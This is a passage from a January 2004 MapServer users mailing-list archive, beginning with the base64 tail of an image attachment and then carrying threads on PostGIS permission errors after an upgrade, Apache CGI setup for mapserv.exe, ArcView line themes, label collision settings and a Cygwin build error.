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
AABJRU5ErkJggg==


------=_NextPart_000_5fef_789a_395d--


From nacional at cbs.umn.edu  Mon Jan 26 13:18:48 2004
From: nacional at cbs.umn.edu (Pericles S. Nacionales)
Date: Mon, 26 Jan 2004 15:18:48 -0600
Subject: [Mapserver-users] Mapserver 3.6.5 -> 3.6.7
In-Reply-To: <4014CAC6.8010708@cerene.fr>
References: <3FC4483968B5A048BBD9F3387EBFF5C05C6F67@XMAIL1.sooner.net.ou.edu>
 <4014CAC6.8010708@cerene.fr>
Message-ID: <1075151928.3765.11.camel@localhost>

Stephane,

First try using the postgres account on your CONNECTIONSTRING and see if
it works.  If it does, go back to your database and run GRANT SELECT ON
 TO PUBLIC run it for every table you want to use in
MapServer (and perhaps to the SPATIAL_REF_SYS and the
GEOMETRY_COLUMNS).  Now change your user back to what it was you used
before and see if it works.

If that still doesn't fix it, try one of these:
http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00331.html
http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00334.html


Good luck!
-Perry N.


On Mon, 2004-01-26 at 02:07, St?phane RIFF wrote:
> I don't want to upgrade to 3.7 i wan't the 3.6.7 version... and i didn't 
> use templates and CGI all the application is in PHPMapscripts.
> 
> Swaminathan, Gayathri wrote:
> 
> >Stephane:
> >
> >Did anyone answer your question at all? Well if you are still wondering what went wrong, the "Migration guide" in Wiki explains this problem
> >
> >In order to enforce some security the previous CGI param has been changed. It will be only be accessible if you set DATAPATTERN .
> >
> >Also search for DATAPATTERN in archive, there are tons of information related to this problem
> >
> >HTH,
> >Gayathri
> >
> >-----Original Message-----
> >From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of St?phane RIFF
> >Sent: Tuesday, January 20, 2004 3:23 AM
> >To: mapserver
> >Subject: [Mapserver-users] Mapserver 3.6.5 -> 3.6.7
> >
> >
> >I use Postgres 7.2 and postgis 0.7.5, php 4.3.2....
> >
> >I tried to upgrade phpmapscript from 3.6.5 to 3.6.7 and my application 
> >doesn't work anymore.
> >I get an error from postgresql :
> >
> >   *    Warning: MapServer Error in prep_DB(): Error executing POSTGIS 
> >DECLARE (the actual query)     statement: 'DECLARE mycursor BINARY 
> >CURSOR FOR SELECT 
> >asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from 
> >giscontourfrance WHERE the_geom && setSRID('BOX3D(42370.624 
> >1616618.5,1203176.624 2677218.5)'::BOX3D, 
> >find_srid('','giscontourfrance','the_geom') )'
> >
> >Postgresql reports the error ''
> >*
> >But when i launch this query from phpPgAdmin :
> >
> >    *SELECT 
> >asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from 
> >giscontourfrance WHERE the_geom && setSRID('BOX3D(42370.624 
> >1616618.5,1203176.624 2677218.5)'::BOX3D, 
> >find_srid('','giscontourfrance','the_geom') )*
> >
> >It works....
> >
> >Can someone point me to use mapserver 3.6.7 because i want to upgrade 
> >postgresql 7.2.4 to 7.3.*
> >and only 3.6.7 support pgsql 7.3 ( I don't want to upgrade to mapserver 
> >4.0.1 now)
> >
> >Thanks
> >
> >_______________________________________________
> >Mapserver-users mailing list
> >Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> >
> >  
> >
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
-- 
"He's no geek.His tan's too good." -Benjamin Choate




From kames at keyspanenergy.com  Mon Jan 26 13:38:27 2004
From: kames at keyspanenergy.com (Kieran J. Ames)
Date: Mon, 26 Jan 2004 16:38:27 -0500
Subject: [Mapserver-users] OT: ArcView Line Theme
Message-ID: <401588D3.8744B99@keyspanenergy.com>

List,
Sorry for the Off-Topic, but...
I know how to import an event theme (points) into ArcView from text or
dbf.
I want to create a line theme (have 2 sets of points... the nodes).
Can anyone point me to some documentation on how I'd get this
information into ArcView?

Thanks in advance.
Kieran




From nacional at cbs.umn.edu  Mon Jan 26 13:54:40 2004
From: nacional at cbs.umn.edu (Pericles S. Nacionales)
Date: Mon, 26 Jan 2004 15:54:40 -0600
Subject: [Mapserver-users] (newbie): Win32 Apache error when
 calling	Mapserv.exe
In-Reply-To: 
References: 
Message-ID: <1075154080.4005.23.camel@localhost>

Tyler,

Thanks for coming back to this.  I found a few more inconsistencies with
the configuration file.  Those last two lines might actually be
ok--there might be a beginning  tag somewhere
above the beginning of the snippet Yuri sent us.

What I would try then, Yuri, is comment out the  block:

...


#
#  Sethandler perl-script
#  PerlHandler Apache::Registry
#  PerlSendHeader On
#  
  Options All MultiViews
    AllowOverride None
        Order deny,allow
        Allow from all
    
...

Oh, one more thing...  Perhaps this is all you need to do.  Change
"Options All MultiViews" to "Options ExecCGI".  Hah!  I just saw the
line above.  I bet that's all you need to do.

-Perry

On Mon, 2004-01-26 at 14:10, Tyler Mitchell wrote:
> 
> 
> 
> I'm always cutting/pasting apache.conf directory code, do his cgi-bin
> properties look good to go with executables?
> 
> mapserver-users-admin at lists.gis.umn.edu wrote on 01/23/2004 12:09:29 AM:
> 
> > Yuri,
> >
> > Check the last two lines of your apache config snippet...
> >
> > >     
> > > 
> >
> > If this is how they appear in your config file, switch them.
> >
> >   
> > 
> >
> > This could be the cause of your problem.
> >
> > > If not, something is wrong with your executable.  But then again it
> could
> > > just
> > > be permission problems.  Or perhaps you've locked down your CGI-BIN
> > > directory
> > > so that only scripts with certain extensions would run?
> >
> > -Perry N.
> >
> > --
> > "He's no geek.His tan's too good." -Benjamin Choate
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
-- 
"He's no geek.His tan's too good." -Benjamin Choate



From MHoward at spaceimaging.com  Mon Jan 26 13:57:26 2004
From: MHoward at spaceimaging.com (Howard Mark)
Date: Mon, 26 Jan 2004 14:57:26 -0700
Subject: [Mapserver-users] OT: ArcView Line Theme
Message-ID: <13685000AB02F2479DF2C632B9B1988E16C11C@imager8.corp.spaceimaging.com>

Kieran,

You'll need to know a bit of avenue script to do this. First you'll need to create a new LINE theme.
Using an avenue script, you'll need to create a new line shape from the points, and add the shape to the line theme.
This explanation is a bit simplistic.
There are sample scripts online at the esri site www.esri.com

Mark

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Kieran J. Ames
Sent: Monday, January 26, 2004 2:38 PM
To: mapserver list
Subject: [Mapserver-users] OT: ArcView Line Theme

List,
Sorry for the Off-Topic, but...
I know how to import an event theme (points) into ArcView from text or
dbf.
I want to create a line theme (have 2 sets of points... the nodes).
Can anyone point me to some documentation on how I'd get this
information into ArcView?

Thanks in advance.
Kieran


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


********************************************************************************
This message is intended only for the use of the Addressee and may
contain information that is PRIVILEGED and CONFIDENTIAL.

If you are not the intended recipient, you are hereby notified that any
dissemination of this communication is strictly prohibited. If you have
received this communication in error, please erase all copies of the
message and its attachments and notify Space Imaging immediately.
********************************************************************************




From steve.lime at dnr.state.mn.us  Mon Jan 26 13:58:09 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Mon, 26 Jan 2004 15:58:09 -0600
Subject: [Mapserver-users] Label mindistance not working for me
Message-ID: 

Drawing post labelcache should generally be avoided. The only reason it even exists as an option is for embedded scalebars and legends which are treated as annotation. With anything drawn after the main labelcache collision avoidance is not done. That's why you see the overlaps. The question then becomes why no labels draw when using the cache. Try removing all the xtras, something like this.

LAYER
	NAME "Lion Streets"
	CONNECTIONTYPE postgis
	CONNECTION "user=postgres dbname=nycpr"
	DATA "the_geom from bklion1"
	MAXSCALE 6000
	STATUS DEFAULT
	TYPE LINE
	LABELITEM 'street'
	CLASS # everything
		COLOR 255 255 255
		LABEL
			ANGLE AUTO
			COLOR 132 31 31
			SIZE 12
			TYPE TRUETYPE
			FONT arial
		END
	END
END

What does this produce? Your value for buffer was quite high and may have been the problem.

Steve

>>> "Matthew Haines"  1/26/2004 3:04:20 PM >>>
Steve,

Here's another example of labels colliding.  As you can see, neither 
MINDISTANCE nor BUFFER is having any effect.  I tried removing 
POSTLABELCACHE TRUE, but when I do that all the labels disappear.  I also 
tried adding a CLASSITEM "street" and then EXPRESSION /./, but that didn't 
have any effect, either.

Does anyone have any idea what could be causing MINDISTANCE and BUFFER to 
generate a map with so many label collisions like this?

Matthew

LAYER
	NAME "Lion Streets"
	CONNECTIONTYPE postgis
	CONNECTION "user=postgres dbname=nycpr"
	DATA "the_geom from bklion1"
	MAXSCALE 6000
	STATUS DEFAULT
	FORCE TRUE
	TYPE LINE
	LABELCACHE ON
	POSTLABELCACHE TRUE
	LABELITEM 'street'
	CLASS # everything
		COLOR 255 255 255
		LABEL
			ANGLE AUTO
			BUFFER 100
			FORCE FALSE
			COLOR 132 31 31
			SIZE 12
			TYPE TRUETYPE
			FONT arial
			MINDISTANCE 50
		END
	END
END



>From: "Steve Lime" 
>To: ,
>Subject: Re: [Mapserver-users] Label mindistance not working for me
>Date: Mon, 26 Jan 2004 12:20:25 -0600
>
>The criteria is text comparison of labels within the same layer and same
>class. Presumably you could have a interstate 35 and a state highway 35
>that should be allowed to be close.
>
>Why are you setting LABELCACHE ON and POSTLABELCACHE TRUE?
>
>Steve
>
> >>> "Matthew Haines"  1/25/2004 8:15:31 PM
> >>>
>I'm having trouble with label mindistance.  I have set it, but my
>labels
>still collide.  What exactly is the equality comparison used?  Is it a
>text
>comparison of the label names?  My data file has a different line
>segment
>for each block on the street.  If the map is zoomed to show eight
>blocks, I
>get eight labels.  A few extra labels is okay, but not when they are
>all on
>top of each other.
>
>Adding or removing BUFFER, MINDISTANCE, and MINFEATURESIZE all don't
>seem to
>change the output map, which has identical labels stacked to the point
>of
>illegibility.
>
>Matthew
>
>LAYER
>	NAME "bk_streets"
>	CONNECTIONTYPE OGR
>	CONNECTION "data/streets/lion03C/bklion.tab"
>	MAXSCALE 6000
>	STATUS DEFAULT
>	FORCE TRUE
>	TYPE LINE
>	LABELITEM 'Street'
>	LABELCACHE ON
>	POSTLABELCACHE TRUE
>	CLASS
>		COLOR 255 255 255
>		LABEL
>			ANGLE AUTO
>			COLOR 31 231 31
>			BUFFER 100
>			FORCE FALSE
>			MINFEATURESIZE AUTO
>			SIZE 12
>			TYPE TRUETYPE
>			FONT arial
>			MINDISTANCE 50
>		END
>	END
>END
>
>_________________________________________________________________
>Rethink your business approach for the new year with the helpful tips
>here.
>http://special.msn.com/bcentral/prep04.armx 
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu 
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 

_________________________________________________________________
Check out the new MSN 9 Dial-up * fast & reliable Internet access with prime 
features! http://join.msn.com/?pgmarket=en-us&page=dialup/home&ST=1




From mhaines94108 at hotmail.com  Mon Jan 26 14:19:21 2004
From: mhaines94108 at hotmail.com (Matthew Haines)
Date: Mon, 26 Jan 2004 17:19:21 -0500
Subject: [Mapserver-users] Label mindistance not working for me
References: 
Message-ID: 

That seems to have done it.  I removed the POSTLABELCACHE and now the
streetnames are drawing.  I can change around BUFFER and MINDISTANCE and see
that they are having an effect.  I was not able to duplicate the problem of
all of the labels disappearing.

Thanks a million!

Matthew
----- Original Message -----
From: "Steve Lime" 
To: ; 
Sent: Monday, January 26, 2004 4:58 PM
Subject: Re: [Mapserver-users] Label mindistance not working for me


Drawing post labelcache should generally be avoided. The only reason it even
exists as an option is for embedded scalebars and legends which are treated
as annotation. With anything drawn after the main labelcache collision
avoidance is not done. That's why you see the overlaps. The question then
becomes why no labels draw when using the cache. Try removing all the xtras,
something like this.

LAYER
NAME "Lion Streets"
CONNECTIONTYPE postgis
CONNECTION "user=postgres dbname=nycpr"
DATA "the_geom from bklion1"
MAXSCALE 6000
STATUS DEFAULT
TYPE LINE
LABELITEM 'street'
CLASS # everything
COLOR 255 255 255
LABEL
ANGLE AUTO
COLOR 132 31 31
SIZE 12
TYPE TRUETYPE
FONT arial
END
END
END

What does this produce? Your value for buffer was quite high and may have
been the problem.

Steve

>>> "Matthew Haines"  1/26/2004 3:04:20 PM >>>
Steve,

Here's another example of labels colliding.  As you can see, neither
MINDISTANCE nor BUFFER is having any effect.  I tried removing
POSTLABELCACHE TRUE, but when I do that all the labels disappear.  I also
tried adding a CLASSITEM "street" and then EXPRESSION /./, but that didn't
have any effect, either.

Does anyone have any idea what could be causing MINDISTANCE and BUFFER to
generate a map with so many label collisions like this?

Matthew

LAYER
NAME "Lion Streets"
CONNECTIONTYPE postgis
CONNECTION "user=postgres dbname=nycpr"
DATA "the_geom from bklion1"
MAXSCALE 6000
STATUS DEFAULT
FORCE TRUE
TYPE LINE
LABELCACHE ON
POSTLABELCACHE TRUE
LABELITEM 'street'
CLASS # everything
COLOR 255 255 255
LABEL
ANGLE AUTO
BUFFER 100
FORCE FALSE
COLOR 132 31 31
SIZE 12
TYPE TRUETYPE
FONT arial
MINDISTANCE 50
END
END
END



>From: "Steve Lime" 
>To: ,
>Subject: Re: [Mapserver-users] Label mindistance not working for me
>Date: Mon, 26 Jan 2004 12:20:25 -0600
>
>The criteria is text comparison of labels within the same layer and same
>class. Presumably you could have a interstate 35 and a state highway 35
>that should be allowed to be close.
>
>Why are you setting LABELCACHE ON and POSTLABELCACHE TRUE?
>
>Steve
>
> >>> "Matthew Haines"  1/25/2004 8:15:31 PM
> >>>
>I'm having trouble with label mindistance.  I have set it, but my
>labels
>still collide.  What exactly is the equality comparison used?  Is it a
>text
>comparison of the label names?  My data file has a different line
>segment
>for each block on the street.  If the map is zoomed to show eight
>blocks, I
>get eight labels.  A few extra labels is okay, but not when they are
>all on
>top of each other.
>
>Adding or removing BUFFER, MINDISTANCE, and MINFEATURESIZE all don't
>seem to
>change the output map, which has identical labels stacked to the point
>of
>illegibility.
>
>Matthew
>
>LAYER
> NAME "bk_streets"
> CONNECTIONTYPE OGR
> CONNECTION "data/streets/lion03C/bklion.tab"
> MAXSCALE 6000
> STATUS DEFAULT
> FORCE TRUE
> TYPE LINE
> LABELITEM 'Street'
> LABELCACHE ON
> POSTLABELCACHE TRUE
> CLASS
> COLOR 255 255 255
> LABEL
> ANGLE AUTO
> COLOR 31 231 31
> BUFFER 100
> FORCE FALSE
> MINFEATURESIZE AUTO
> SIZE 12
> TYPE TRUETYPE
> FONT arial
> MINDISTANCE 50
> END
> END
>END
>
>_________________________________________________________________
>Rethink your business approach for the new year with the helpful tips
>here.
>http://special.msn.com/bcentral/prep04.armx
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

_________________________________________________________________
Check out the new MSN 9 Dial-up * fast & reliable Internet access with prime
features! http://join.msn.com/?pgmarket=en-us&page=dialup/home&ST=1




From teoman872 at yahoo.com  Mon Jan 26 15:34:00 2004
From: teoman872 at yahoo.com (teoman teoman)
Date: Mon, 26 Jan 2004 15:34:00 -0800 (PST)
Subject: [Mapserver-users] Error,when building mapserver-4.0.1....little help please!!!!
Message-ID: <20040126233400.44004.qmail@web20722.mail.yahoo.com>

--0-980122251-1075160040=:42918
Content-Type: text/plain; charset=us-ascii

hi,
 
I am trying to install mapserver-4.0.1 under cygwin environment. I have installed all the libraries listed on mapserver page without any trouble..
After having done this:
$ ./configure --with-gd=/usr/local --with-proj=/usr/local --with-gdal=/usr/local/bin/gdal-config
 
I got this error message when I did "make":
 
$ make
gcc -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DU
SE_WMS_SVR      -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP
  -DUSE_GDAL     -I/usr/local/include  -I/usr/local/include     -I./regex-0.12
 -I/usr/local/include      shp2img.o  -L. -lmap -L/usr/local/lib -lgd -ljpeg  -L
/lib -lpng -L/lib -lz    -ltiff -ljpeg  -L/lib -lpng -L/lib -lz   -L/usr/local/l
ib -lproj -ljpeg   -L/usr/local/lib -lgdal.1.1        -lm   -o shp2img
./libmap.a(mapogr.o)(.text+0x1db):mapogr.cpp: undefined reference to `___gxx_per
sonality_sj0'
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1
 
any help please...thanks alot in advance...
--teoman




---------------------------------
Do you Yahoo!?
Yahoo! SiteBuilder - Free web site building tool. Try it!
--0-980122251-1075160040=:42918
Content-Type: text/html; charset=us-ascii










hi,


 


I am trying to install mapserver-4.0.1 under cygwin environment. I have installed all the libraries listed on mapserver page without any trouble..


After having done this:


